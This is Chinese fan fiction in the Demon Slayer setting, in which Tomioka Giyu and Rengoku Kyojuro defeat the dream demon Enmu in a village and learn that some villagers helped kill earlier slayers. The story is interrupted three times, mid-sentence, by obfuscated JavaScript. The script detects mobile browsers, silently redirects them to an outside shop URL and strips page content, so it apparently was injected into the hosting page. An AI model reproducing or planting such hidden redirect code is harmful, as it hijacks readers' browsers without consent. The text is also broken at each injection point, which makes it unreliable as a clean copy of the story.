“无事。”富冈义勇摇摇头,提起新的话题,“炼狱,你练习的呼吸法是什么?” 他并不是不懂合作,一开始和锖兔参加最终选拔的时候,他和锖兔也一直在打配合。 配合的前提是彼此了解,他们需要知晓各自的实力。 “炎之呼吸。”炼狱杏寿郎回答,“而且我力气很大。” 炎之呼吸,与水之呼吸一样,是五大基础呼吸法之一,是很适合炼狱的呼吸法。 富冈义勇点头,示意自己明白了。他看了眼天空,又侧头道:“我们赶过去应该还是白天,我们先进村子查看一下情况。” “明白。”炼狱杏寿郎答道。 富冈义勇又想到什么,对着炼狱杏寿郎说:“打探情报的事,你来可以吗?” 他不善表达,之前做任务的时候也被人误会过。虽然最后都顺利解决了,但到底浪费了一些时间。 现在救人要紧,他们不能浪费时间。 炼狱杏寿郎表示完全没问题,脸上依旧挂着笑容:“就交给我吧。” 像是穿透无尽阴霾的烟火,只要看到他的笑容便觉得安心。 富冈义勇的嘴角无可察觉地扬了扬,如果锖兔还在,他们或许会成为很好的朋友。 可惜,他和他们,始终无法并肩而行。 后面两个人不再交谈,专心赶路,在中午的时候来到了村子附近。 “要,你就留在这里,等我们的消息。后面宽三郎到的时候,让大家都在这里等着。只有等鬼消灭,才可以进村子。”富冈义勇望向炼狱杏寿郎的鎹鸦,在路上他得知了鎹鸦的名字。 “是。”要扇动翅膀,落到了树枝上,将自己藏好。 富冈义勇对着炼狱杏寿郎点头,他握住腰间的刀,走在最前方:“我们走吧。” 午间的日光洒下来,落在两个人的身上,带来些许的温暖。 微风吹过,村子的街道上,空无一人。 富冈义勇不禁皱眉,太过安静了,即使村里发生了什么,也不该一个人甚至一点动静都没有。 富冈义勇停下脚步,并伸手拦住后方的炼狱杏寿郎:“不对劲。” 两个人停在原地,表情都很严肃。 清风吹动树叶,沙尘漂浮半空。 “谁在哪?!”富冈义勇迅速转身,将手放在刀把上,随时准备拔刀。 炼狱杏寿郎也一脸警惕,手放在腰间的刀上。 “你们是?”一名少女走了出来,她手里端着一个盆,里面是刚刚洗好的衣服。 富冈义勇仔细端详着少女,看上去一切正常,但她的眼底存在着很明显的疲惫,整个人看上去也很累。 炼狱杏寿郎搭话:“我们路过这里,想找家店休息吃饭,但没想到街上一个人都没有。” 少女恍然,抬手指向一个地方:“在那边,有一家包子铺,我们家都很喜欢吃他们家的。” 炼狱杏寿郎爽朗笑笑:“多谢,我们这就过去。” 真可靠。富冈义勇在心中想着,在转身离开前,注意到少女手里还拿着什么东西。 是绳子? 晾衣服用的吗? 不,不对。 没有谁家晾衣服是现绑绳子的。 这个少女的行为并不合理。 她只是一个普通人,拿着绳子偷袭也打不过他们。 先静观其变吧。 富冈义勇和炼狱杏寿郎顺着少女指出的方向走,没一会就看到了一家包子铺。 明明已经是中午,店铺却像是刚刚开门一样。 富冈义勇和炼狱兴寿朗坐到店里,见店主是一位成年男性,打着哈欠,手里揉着面团。 “店家,麻烦来一笼包子。”社交小能手的炼狱杏寿郎再次开口。 富冈义勇观察着周围,虽然一切正常,但又有很多地方很违和。 店主似乎有些不耐烦,边揉面团边骂骂咧咧地回答:“知道了,在那坐着等。” “太郎,来给客人倒茶。”他冲着里间喊了一下。 “来了。”从里间走出来一名少年,看上去有些瘦弱。他手里拎着一壶茶,然后放到了富冈义勇他们坐的桌上,“茶有些烫,客人还要小心些。” 炼狱杏寿郎保持着一贯的微笑,声音也是一样洪亮:“好的,谢谢。” 少年腼腆地笑了笑。 “太郎对吗?最近村子发生什么事了吗?看上去很是冷清的样子。”炼狱杏寿郎降低了些许音量,和这孩子搭话。 或许是孩子都喜欢爱笑的哥哥,太郎悄悄看了看父亲那边,然后用同样低的声音回答:“大哥哥,你们休息好赶紧离开这里吧。” “大家都不对,一天到晚都想要睡觉。” 店主注意到太郎还站在那边,大声呵斥:“太郎,还不去里面忙,在那站着干什么呢?” 太郎被吓到,身体不禁颤抖:“知道了。” 他朝着两个人微微躬身,就立马跑回了里间。 这个店主有问题。 富冈义勇和炼狱杏寿郎交换眼神,又不约而同地看向茶壶。 富冈义勇轻微摇头,这里的任何东西他们不能吃。 炼狱杏寿郎脸上也变得严肃。 这里的鬼并不简单。 虽然鬼在白天会躲起来,但血鬼术却不会因为太阳的存在而消失。 一天到晚都想要睡觉……是因为鬼的血鬼术吗? 如果鬼能让人类陷入昏睡,又为何不直接杀掉这些人? 这座村子,还真是诡异。 “客人,你们的包子好了。”在富冈义勇思索期间,店主端来了一笼包子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153507|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 热气腾腾,看上去就很美味。 包子绝对不能吃。但得想办法糊弄过去,要说他们忽然想起有急事,现在就要离开吗? 富冈义勇的脑海里闪过很多念头,就看见炼狱杏寿郎很直接地拿起一个包子。 他微微怔住,不明白炼狱杏寿郎准备做什么。 只见炼狱杏寿郎掰开包子,一手拿着一半,闻了闻:“好香的包子,店家,这是用什么做的?” 富冈义勇提着的心落下来,没吃就好。 店主还是一脸不耐烦,也不想和他们说话:“猪肉的。吃完记得结账。” “店家,你们除了包子还卖别的吗?饭团或者荞麦面这种。”炼狱杏寿郎冲着包子吹气,似乎是觉得包子太烫了。 “没有,除了包子什么都没有。”店主不再管他们,径直回到了里间。 炼狱杏寿郎收起脸上的笑容,将手里的包子放回去:“这里的人看上去都很疲惫,太郎说大家都爱睡觉,看来只能入夜以后再来调查了。” 富冈义勇从口袋里拿出钱,放在桌上,然后起身:“我们再到处走走,之前派来过四名队员,他们和鎹鸦如果还没遇害,一定被藏在某个地方。” 炼狱杏寿郎跟在他身后,也离开了这家店。 街上还是很安静,没有人出行。 两个人逛了村子一圈,也没有找到失踪队员和鎹鸦的身影。 炼狱杏寿郎放下石头,探头看了看后面:“这里也什么都没有。” 他站起身,拍了拍身上的灰尘,心里已经做出了最坏的打算。 那些人和鎹鸦恐怕都凶多吉少了。 富冈义勇握紧着腰间的刀,他们还是来迟了。 他看向即将落下的太阳,眼睛满是冷静:“晚上要多加小心。这里潜藏的鬼,不好对付。” 目前知晓的信息是这个鬼的能力和能让人睡觉有关,而且所有的村民可能都被鬼控制了。 现在这种情况实在是太被动了。 炼狱杏寿郎也意识到他们处于劣势,他挂上一如既往的笑容:“富冈先生,我们需要先探明这个鬼发动血鬼术的条件。” 富冈义勇意识到什么,立马反对:“不行!你不可以冒险。” 他能明白炼狱杏寿郎的想法。 对上有血鬼术的鬼,探明对方的技能是最要紧的。 而最快的办法,就是以身为饵。 在炼狱杏寿郎看来,富冈义勇作为水柱,一定有斩杀鬼的实力。但他们要顾忌村民的安危,战斗难免束手束脚。 他可以一个人先对上鬼,给富冈义勇创造条件。 这不是所谓的牺牲精神,而是想要破局,必须如此。 “富冈先生,不要小瞧我,我也是很厉害的。”炼狱杏寿郎笑得开朗,“未来我一定会当上炎柱的。” 富冈义勇面容冷峻,眼里的坚定非常明显,“我是这次行动的指挥者,驳回你擅自行动的提议。” 天暗了下来。 “想要成为炎柱,那就好好活下去。” “这次的鬼,我会对付。” 炼狱杏寿郎不是不听指挥一意孤行之人,见富冈义勇态度坚决,便将刚刚的想法作罢:“是。我会和富冈先生一起战斗的。” 富冈义勇“嗯”了一声,迎着夜色进入村子:“走吧。” 他会守护好身边的炼狱,也会守护好这座村子。 在富冈义勇还在思索时,他忽然感觉肩膀一沉。 是炼狱杏寿郎。 他单手扶着额头,单手支着他的肩膀:“有一双眼睛……小心……” 炼狱杏寿郎努力对抗着困意,却还是在下一秒失去了力气。 富冈义勇连忙扶住他。 眼睛? 富冈义勇反应很快,立马闭上了自己的双眼。凭借记忆,他扶着炼狱杏寿郎靠墙坐下。 “晚上好啊,猎鬼人。和大家一起,进入梦乡吧。” 富冈义勇听到了声音,迅速拔刀,砍向了声音传出的地方。 困倦在一瞬间出现,让富冈义勇一时晃神。 不只是视觉,还有听觉。 这下麻烦了。 “亲爱的,在美梦中,享受安眠吧。” 10. 第 10 章 美梦。 因人的欲望而生,因人的悲戚而珍。 生、老、病、死、怨憎会、爱别离、求不得、五阴炽盛。 人生不缺遗憾,所以才会在美梦中寻求慰藉。 去见逝去的人,拥有所得不到的东西。 有谁不会贪恋美梦吗? 有的。 在失去家人与同伴后,富冈义勇再也没有做过梦。 两年的时间里,他将所有悲痛内化。 他不会再为了姐姐和锖兔流泪哭泣,而会一直向前行。 逝去之人无法挽回,唯有握紧手中的刀,去选择守护,才能避免更多的离别。 富冈义勇紧闭双目,左手食指擦过刀刃,用疼痛驱散困意。 血液顺着刀刃滴落,让那纯粹的蓝色,带了一抹鲜艳的红。 “咦?”站在街上的鬼有些惊讶,他从未见过不会做梦的人类。 他名魇梦,血鬼术可以通过眼睛对视和语言催眠让人陷入梦境。 魇梦可以结合人类的记忆,让他们在美梦中安睡。 大多数的鬼都没有善心,魇梦也一样。他喜欢看见人类从美梦苏醒时脸上的痛苦,喜欢看他们苦苦哀求在自己脚边让自己重新作梦的可怜样子。 “没人不喜欢美梦。”魇梦睁大了眼睛,语气充满着震惊和不解,“为什么你不会做梦?!” “唰!”比答案更先到来的是锋利的刀刃。 富冈义勇紧闭着眼,握着刀的手没有半分迟疑。 魇梦迅速后退,刀刃斩断了他额前的头发。 下一击比之前更快。富冈义勇扭动腰肢,左脚在地面微划,重新站稳,反手直接斩了过去。 “可恶!”魇梦迅速躲闪,再次发动催眠,“进入梦乡吧!” 富冈义勇的动作稍微迟钝了一秒,又很快恢复正常。 他已经接受珍视之人的逝去,不再回忆过去的他,不会再悲伤,也不会再遗憾。 除了斩尽余生所遇之鬼,他再无半分奢求。 因为视觉受限,富冈义勇只能凭借声音去判断位置。 在他刚加入鬼杀队的特训里,他曾问过悲鸣屿先生平时是如何行动的。 “声音。所有动作都有声音。只要你的心足够静,你甚至能听到心跳声。” 富冈义勇不觉得自己可以像悲鸣屿先生那样听觉灵敏,但如果只论心静,他可以做到。 水之呼吸,是能应对任何攻击的守备之术。 想要锻炼至臻,要时常有一颗保持呼吸的心,也要时刻保持心态如水面一样平稳如镜。 鳞泷老师,你教导我的,我一直记着。 富冈义勇深呼吸,手腕微转。 柒之型,雫波纹击刺。 以极快的速度,刀刃刺向了声音的来源。 利刃刺入肉.体的声音响起,就当富冈义勇准备再次转变姿势时,却听到了额外的声音。 他收回刀,立马躲开。 富冈义勇睁开双眼,愣住。 是人类。 一个男孩手腕上缠着一节绳子,拿着绳子的另一端去缠绕炼狱杏寿郎的手腕。 还有白天看到的少女,她手拿着像是针刺一样的东西。 一旁的魇梦被刺中了肩膀,他捂着伤处,迅速退到后面,他趁着富冈义勇睁开眼睛时,立马发动血鬼术。 比起语言的催眠,眼睛的效果要更明显。 少女就站在魇梦身后,在富冈义勇睁眼的瞬间,魇梦的血鬼术瞬间发动。 糟了! 富冈义勇虽然不会入梦,但中招的一瞬还是会有些恍惚。 他扶住额头,抵挡着席卷而来的困意。 就在这恍惚的一秒,少女快速跑上前,双手握着针刺,直接捅到了富冈义勇的腹部。 队服被穿透,鲜血渗了出来。 “唔……”富冈义勇闷哼一声,瞬间清醒了过来,他左手飞快劈向少女的脖颈,直接将她打晕过去。他又快速移动到炼狱杏寿郎的旁边,打晕正在倒数的少年。 这时候魇梦的肩膀已经愈合,正想再次发动攻击时,却在下一秒看到了漫天的水波。 一之型,水面斩。 诶? 魇梦看到世界开始旋转。 他的头,掉了。 魇梦的肉.体并不算强劲,而且他喜欢看人苦苦哀求美梦的样子,吃掉的也不多。他并不算难杀,只是普通人很难躲开他的血鬼术。 富冈义勇决断很快,不会错过任何机会,干净利落地砍掉了魇梦的头。 “咳,咳咳。”富冈义勇集中精神,调整全身的呼吸,止住腹部的血。 他靠在墙上,微微仰头。 有些晕,头和肚子都有些疼。 他看向倒在一边的少年少女,略微喘息。 美梦不过是虚幻的糖,只是为了做梦,就甘愿被鬼利用吗? “咳咳。”富冈义勇站直身体,观察着炼狱杏寿郎。表情很平静,应该也做了一个美梦吧。 他有多久没做过梦了? 不断的训练,不停的奔走,不到身体的极限,他不会停下休息。 上次见到姐姐和锖兔,会是梦吗? 如果是的话,那一定是个噩梦。 因为他明明过得很好,为什么姐姐和锖兔还会不开心呢? 富冈义勇蹲下身,解开少年和炼狱杏寿郎手腕相连的绳子。 月亮挂在天幕,鬼带来的阴影散去,彰显出人性的卑劣。 “我为什么醒了?我要做梦!我要做梦!” “是谁毁掉了我的梦?!” “我的钱!我好多好多的钱,都没有了!” 因为欲望而被鬼支配的人群,在梦破碎后变得歇斯底里。 寂静的村子,瞬间变得吵嚷。 富冈义勇轻叹一声,在人群骚乱之前,准备带炼狱杏寿郎离开。 他拎了拎炼狱杏寿郎的衣领,却不小心拉扯到腹部的伤口,倒吸了一口冷气:“嘶。” 拎不动。 富冈义勇干脆蹲下身,晃着炼狱杏寿郎的肩膀:“炼狱,炼狱,快醒醒。” 炼狱杏寿郎清醒过来,立马警惕地看着周围,然后注意到空气中弥漫的血腥味:“富冈先生,你受伤了吗?” 富冈义勇摇摇头:“受了点小伤,没有大事。鬼已经解决了,我们先赶紧离开,一会再和你解释。” “好。”炼狱杏寿郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153508|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和富冈义勇离开了村子,前往之前鎹鸦要停留的位置。 “鬼已经消灭了。村子里面的人被鬼蛊惑,沉迷于美梦之中。那个鬼似乎有什么特殊的方式,可以用绳子连接两个人。虽然不知道会发生什么,但之前派来的队员,很有可能就是对村里的居民没有设防而遇害的。”富冈义勇将自己的分析告诉隐的人,“我和炼狱没有找到队员的遗体,后续调查就靠你们了。” 他扶住树干,缓解着袭来的眩晕感。 炼狱杏寿郎一脸愧疚地站在旁边,他什么也没帮上忙。 富冈义勇看向炼狱杏寿郎,忽然问:“炼狱,你刚刚梦到了什么?” 炼狱杏寿郎微愣,似乎没想到富冈义勇会突然问他这个问题。他想了想:“梦到了我的家人,父亲,弟弟,还有我去世的母亲。” 富冈义勇微闭上眼,让隐的人帮他包扎伤口:“那听上去是个很不错的梦。炼狱,多亏了你的提醒,我才能及时应对。没让你受伤,还做了一个美梦,我很高兴。” 冷峻而沉稳的脸颊,在月光的照耀下显得白皙,蓝色的眼眸仿佛深海一般波澜不惊。 这就是柱吗? 炼狱杏寿郎攥紧了双手:“富冈先生。” 富冈义勇和炼狱杏寿郎差不多高,因为失血而显得疲惫的眼神在夜间显得更加深邃:“炼狱,如果可以的话,后面和我打一架吧。” 嗯? 嗯?! 炼狱杏寿郎呆住。 “想和你比比看,我们哪个更厉害。”在炼狱杏寿郎脑子彻底宕机前,富冈义勇补充道。 “哦,好的,好的。”炼狱杏寿郎松了口气,原来是切磋。还以为富冈先生嫌弃他,想揍他一顿。 但他和已经是水柱的富冈义勇切磋,这真的对吗? 炼狱杏寿郎不解,却没有多问。 等处理好伤势,富冈义勇像是没事人一样,开始指挥隐做事。 之前派来的几名队员遗体要想办法找到,即使真的全部被吃掉,他们的佩刀也一定还在哪个地方留着。 但现下村子的人群情绪正激动,也不是进去的时候。 由于明天还需要和村子里面的人交涉,现在也不能直接回去。 富冈义勇让宽三郎将这里的消息带给主公,又让隐的人清理出来空地让大家休息。 炼狱杏寿郎站在人群里,看着有条不紊做事的他。 所谓柱,不是实力达到就可以当的。 能支撑起他人,带领着大家熬过一个又一个黑夜的人才是。 富冈先生,真的是名副其实的水柱啊。 他需要学习的,还有很多。 看着堆积起来的木柴,富冈义勇回头看向了炼狱杏寿郎:“炼狱,可以帮个忙吗?” 炼狱杏寿郎回神,立马走过去:“要我做什么?” “我没和炎之呼吸的人合作过。”富冈义勇眨了眨眼,指了指身旁的木柴,“想问问你能用炎之呼吸点个火吗?” 炼狱杏寿郎笑了出来,爽朗的声音引得所有人看向他们这里:“自然可以。” 柱,究竟是什么? 他果然还有得学啊。 不过富冈先生,真的是个有趣的人啊。 11. 第 11 章 在野外过夜是不能放松警惕的。除了不好对付的鬼以外,还有野兽也会出现。 在点燃火堆后,跟来的隐围坐在一起。 富冈义勇没和他们坐一起,而是靠在较远的树边静静休息,手里拿着饭团在慢慢吃。 一天没怎么吃饭,他确实饿了。 “水柱大人,你身上有伤,一会还是先睡会吧,我们安排了守夜。”有隐的队员凑过来,手里多拿了几个饭团递给富冈义勇。 富冈义勇咽下食物,语气沉稳:“不用喊我水柱,喊我富冈便好。我的伤没关系,等一会再睡。” “那富冈先生你多吃点,饭团还有很多的。”这位队员在执行任务前打听过,富冈义勇饭量还是蛮大的。 “多谢。”富冈义勇点头。 队员不好意思地挠挠头,觉得富冈义勇对他们是真的很客气。 这时候,炼狱杏寿郎走了过来,队员和富冈义勇说了下,就回到了小团队里。 炼狱杏寿郎有些担心地看着富冈义勇,他身上有伤,还不好好睡觉。 “富冈先生,还不休息吗?”他不禁询问。 富冈义勇吃完手里最后的一个饭团,老实回答:“睡不着。” 魇梦的血鬼术对他来说并非没有效果,在恍惚的那段时间,他也曾听到家人和锖兔呼唤他名字的声音。 只是越听也越清醒。 比幸福先赶到的,永远是悲伤。 而这股悲伤,是他前进至今的动力,也能让他在快速清醒。 是伤口还在疼吗?炼狱杏寿郎不禁皱眉。 “没关系的。”富冈义勇双手环抱,脸上的表情是一如既往的波澜不惊。 作为行动的负责人,他需要为明天的事早做安排,即使不熟练,他也要去做。 “炼狱,明天和村子的交涉可能还需要你来。” “我怀疑没有找到的队员和鎹鸦有可能是被村民藏匿或者处理的。” 富冈义勇的眉头微皱,闭了闭眼,却又很快睁开,语气不变,只是声音降低了几分:“现在鬼消失,村民没了做梦的机会,可能会迁怒鬼杀队的人。明天……” 不等他说完,就见炼狱杏寿郎转身离开了。 富冈义勇疑惑地望过去。 是觉得和村民交涉太麻烦了吗? 那还是他来吧。 一会想一想该怎么说好了。首先不能激怒村民,得让他们说出来失踪队员的消息。鬼杀队的身份不能暴露,但晚上碰到的少年少女很可能会认出来他。 似乎他不出面是最好的。但他是这次任务的负责人,不能完全撒手不管。 富冈义勇闭上眼,缓解不断袭来的眩晕和疼痛。 在思索间,他感到有人在靠近,缓慢地睁开双眼。 是炼狱杏寿郎,他手里拿着一件毯子。 富冈义勇不解地看过去,就见他把毯子盖到自己身上。 他的身体微微僵了僵,才低头看了看毯子,又抬头看向炼狱杏寿郎,眼里似乎带了一丝茫然。 “明天就交给我吧。富冈先生,你现在就好好休息吧。”炼狱杏寿郎双手叉腰,脸上挂着自信的笑容。 像是没有什么困难能阻拦他一样。 让人有些羡慕。 不过富冈义勇现下确实有些没力气了,他从站着变成靠着树干坐下来。 炼狱杏寿郎以为富冈义勇准备睡,脸上的笑意也深了一分,然后就听到富冈义勇说:“只是我真的睡不着。” 被血鬼术影响,过去的记忆像是被投入石子的水中月,一阵阵地泛起涟漪。 头在疼,受伤的地方也在疼,心口也在隐隐作痛。 他或许又快发烧了。 想到这个可能,富冈义勇裹紧了身上的毯子。 对上那沉静的眼眸,炼狱杏寿郎竟然看出和他弟弟炼狱千寿郎一样的无辜。 炼狱杏寿郎笑出声。他和富冈先生只差一岁,希望等他成为炎柱时,能和富冈先生成为好朋友。 “既然睡不着的话,那我们就来聊天吧。”炼狱杏寿郎活力满满,直接坐了下来。 聊天?他好像很久没和人聊天了。 要聊什么?天气的话,现在是晚上,只能看到月亮。 “富冈先生有什么喜欢吃的东西吗?”炼狱杏寿郎开启话题。 富冈义勇微微仰头:“萝卜鲑鱼。” 从小到大,他最喜欢的就是这道菜。 以前父母会煮,后来姐姐会煮,现在他只能自己煮。 今晚的月亮看上去很好看,又圆又亮的。 “哦!”炼狱杏寿郎点头,“我很喜欢吃红薯呢。” 富冈义勇看着对面人在夜色里也很显眼的头发:“炼狱的头发很与众不同。” 炼狱杏寿郎开心笑着:“这是我们家族遗传的。父亲、弟弟还有我,我们的相貌都很相似。” 富冈义勇微微调整了下坐姿,缓缓舒口气,又拽了拽滑落下去的毯子。 或许是察觉到富冈义勇不舒服,炼狱杏寿郎也不再提问,而是说起了自己的事。 “说来惭愧,父亲因为个人原因辞去了炎柱的职务,这些年我一直在努力,就是希望接过父亲的职责,成为新一任炎柱。”炼狱杏寿郎脸上的笑容不变,“不过目前看来我离成为炎柱还有很远的距离呢。” 富冈义勇眨眨眼,炼狱的父亲是上任炎柱吗? 炼狱杏寿郎察觉到富冈义勇的疑惑,不禁歪了歪头。 富冈先生不知道他们家族吗? 猎鬼家族的炼狱家,世世代代都是炎柱,他的父亲也是。 只不过在母亲去世后,父亲就大受打击,从此一蹶不振。每天酗酒,颓废地混着日子,柱合会议也不再参加。 主公叫过他好几次,但都被父亲拒绝了,后面更是直接辞去了炎柱的身份。 他和父亲聊过很多次,但父亲不是不回应就是在否定他。 现在鬼杀队里,也有不少队员对他父亲有意见。 不过不管父亲和其他人说什么,炼狱杏寿郎想要成为炎柱,去守护弱小的心绝不会变。 由于一直游离在人群之外,鳞泷老师也没和他多讲这些,富冈义勇对鬼杀队的往事知之甚少,更是没听过炼狱家族的事。 “炼狱你一定会成为炎柱的。”和缓的语气,说着最不容置疑的话。 在这短暂的相处中,富冈义勇能察觉到炼狱杏寿郎存在的人格魅力。 善于交谈,做事灵活,对周围的感知力和观察力也很强。 而且在刚刚点火的时候,他能感觉到,炼狱的实力虽然还比不上他,但也没有差很多。 炼狱杏寿郎一定会成为炎柱。 富冈义勇眨着眼,积攒的疲惫缓缓涌上来。他的意识开始变得迷蒙,声音越来越轻:“炼狱,如果是你……” 负责这次的任务,想必会做得比我更好。 毕竟,我不是水柱,也不会说话。 明天的交涉也要靠你。 富冈义勇睡着了。 他侧着脸,闭着的双目显露出疲惫。月光从他的身上缓缓移走,像是也在和他说着晚安。 炼狱杏寿郎无声地笑着,用极轻的语气说:“晚安,富冈先生。” 富冈先生没说完的话是什么呢?如果是他就怎么了? 但能得到富冈义勇的肯定,炼狱杏寿郎的心里也有种说不出的感受。 真不愧是修炼水之呼吸的富冈先生,和他聊天就像被温和的水包裹一样,轻柔而又充满力量。 被一直否定的他,偶尔也是会累的。 炼狱杏寿郎伸了个懒腰,用力地点着头。 好!就以富冈先生为目标,继续努力吧! 日升月落,寂静的夜晚就这样平稳地过去了。 守夜的人将睡着的人一一叫醒,开始收拾着营地。 他们动作都放得很轻,因为富冈义勇还在睡。 大家都知道水柱大人受了伤,昨天也很晚才睡着。 炼狱杏寿郎睡得不深,听到动静就醒了过来。他慢慢地起身,又悄悄地走开。 “留些人在这里守着富冈先生,再来两个人和我一起去村子。”炼狱杏寿郎现在的等级是丙级,理论上并没有支配隐行动的权利,但这次的任务是他和富冈义勇一起执行的。在富冈义勇现在正睡着,大家都不想打扰他,就直接开始听炼狱杏寿郎的安排。 炼狱杏寿郎带着几个人来到了村里。 村子比昨天要热闹了,街道上也多了很多人,只不过多数人的脸上都挂着烦躁与不耐。 炼狱杏寿郎不禁皱眉,行动却没有半分缓慢,直接去了包子铺。 包子铺关门了。 暂停营业的牌子挂在店铺门口。 炼狱杏寿郎不禁叹息。美梦确实引人沉醉,但梦境解决不了任何问题,追求梦境的幸福,是最懦弱的行为。 只是他无法苛求普通人也能这么想。 正当炼狱杏寿郎准备离开,从其他地方打探消息时,太郎的声音从后面传了出来。 “大哥哥?”太郎手里抱着木柴,正准备从侧门进去。 炼狱杏寿郎的脸上挂着和善的微笑:“是我,太郎,早上好。” 太郎左右看了看,这才走进炼狱杏寿郎:“大哥哥,你怎么又回来了?” 炼狱杏寿郎蹲下身,揉了揉太郎的头:“我回来想问村子里面的人一些事,不知道太郎知不知道你们村长在哪?” 太郎看着炼狱杏寿郎,眼里有些犹豫,但在看到他们腰间的佩刀时,眼睛忽然亮了亮。 之前两个人坐在店里,佩刀都被座椅挡着,他并没有注意到。 “大哥哥,你沿着这条街走到尽头,在往右边走,在你左手边第三家住着林奶奶。她就是村长,一定知道大哥哥想问的事。”太郎腾出一只手,给炼狱杏寿郎指明方向,然后压低声音,“大哥哥,是你们杀掉了那个怪人吗?今天的大家都没有再睡了。” 以前也有带着刀的哥哥姐姐来,但他们都死了,被忽然来村里的大人用计杀死了。 炼狱杏寿郎揉着太郎的脑袋:“不是我,是昨天和我一起来店里的哥哥做的。” 太郎有些高兴:“谢谢那位哥哥!大哥哥你们快去找林奶奶,我先把木柴放回家。” 他挥挥手,就直接进了家门。 炼狱杏寿郎笑着,然后站起身:“好,我们走吧。” 有人追求美梦,就有人清醒地活着。 太郎口中的林奶奶在看到炼狱杏寿郎一行人时,就判断出了他们的身份,直接让他们进了门。 她给三个人倒了茶,让他们先休息,示意自己去拿东西。 没过多久,林奶奶就拿着四把日轮刀走了进来。 “这是?”炼狱杏寿郎双手接过。 林奶奶坐下,慢悠悠地解释:“是穿着和你们一样衣服的人留下的遗物。” 原来,在魇梦来到村子里后,就开始控制人们的梦境。 美梦、噩梦,在夜晚交织着出现。 有村民渴求美梦,找到了魇梦,求他让自己做一个幸福的梦。 魇梦同意了,却要他拿旅人的性命来换。 一根绳子,一个骨针。 用绳子将自己和陷入梦境的人手腕连起来,再借由魇梦的术式,他们就可以侵入睡着之人的精神世界。 进去睡着之人的潜意识,毁了他们的精神核心,这些人就会变成毫无反应的植物人。 而毁了精神之核的人,就会被魇梦赐下美梦。 后面不少村民不愿被魇梦折磨,甘愿被魇梦利用,这也是最开始有人失踪的由来。 后面鬼杀队的队员来了,魇梦知晓他们的身份,为了不让自己的存在被其他猎鬼人知晓,直接第一时间让他们陷入梦境,又安排手下的猎户用枪射杀了跟随他们的鎹鸦。 不是没有村民试图反抗,也有村民试图救下这些无辜的人,但,无异于飞蛾扑火。 没有办法之下,他们这些还清醒的人只能日夜受着梦境的折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153509|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨。 “这些刀是村里人一起捡回来的,这是我们唯一能做的事。”林奶奶看着那些日轮刀,“这些孩子对被利用的人没有半点设防,全都被毁了精神之核。村里还愿意清醒的人不多,我们救不了这些孩子。” “对不起。”林奶奶微微躬身,对着炼狱杏寿郎手里的刀施礼。 炼狱杏寿郎抚摸着手里的刀,心里五味杂陈。 被守护的人所伤,又该有多痛。 他心里忽然一个激灵,富冈先生的伤难道也是这样来的吗? 昨晚他中招睡着,醒来只看到有两个孩子躺在地上,后面又很快跟着富冈先生离开。 他本以为富冈先生的伤是和鬼缠斗时造成的。 他记得醒来的时候,身侧就有一根绳子。 炼狱杏寿郎心下一沉,右手不禁攥紧。 他深呼吸一下,爽朗的笑容依旧:“那就好好地活下去吧。控制梦境的家伙已经被消灭了,你们的生活会回归正轨。” “守护比我们弱小的人,是我们这些人的职责。我想他们,也希望能看到你们好好活着。” 林奶奶不禁捂住脸,眼泪缓缓从指缝滴落。 那些孩子都还没有成年啊。 他们这些人,何德何能? 铃声响起,林奶奶平复着情绪,擦干自己的眼泪,然后起身:“你们就在这里坐着,不管发生什么事都别出声。” 见炼狱杏寿郎还想说什么,林奶奶慈祥笑笑:“你们还需要带这些孩子回家。交给我,没关系的。” 炼狱杏寿郎嘴唇微动,最后只能点点头。 来的人果然是村里那些被魇梦利用的人,他们大声质问着是不是刚刚那群人把村里的梦神气走了。 他们做不了美梦了,都是因为这群人! “什么梦神?那就是个残害无辜性命的恶人!”林奶奶骂斥道,“现在做不了梦,又要继续闹事了吗?!” “我告诉你们,那个恶人已经死了!没人再护着你们了!再敢闹事,我就报警让人来抓你们!” 以前林奶奶也报过警,但来的人都被魇梦杀了。 她害怕了。 不敢再把无辜的人牵扯进来,更是传出村子会有人失踪的消息,就是为了不让有新的人再来这里。 这是他们村子的罪孽啊。 听到梦神被杀,这群人立马慌了,有人不敢相信,上前就像攥住林奶奶的脖颈。 “不可以这么对待老人家。”平静而又不带感情的声音响起。 “嘠!”是骨骼断裂的清脆响声。 富冈义勇醒得有些晚,得知炼狱杏寿郎已经来了村里,就立马赶了过来。宽三郎在空中给他带路,立马就找到了发生骚乱的地方。 “还有人敢捣乱吗?”富冈义勇甩开那人的手,将林奶奶护在身后。 他站姿挺拔,羽织盖住他腰间的佩刀,黑色的头发垂在身后,由于尚未打理,还带着一些毛躁。 富冈义勇冷着脸,蓝色的眼眸没了温和,只剩下凌厉。 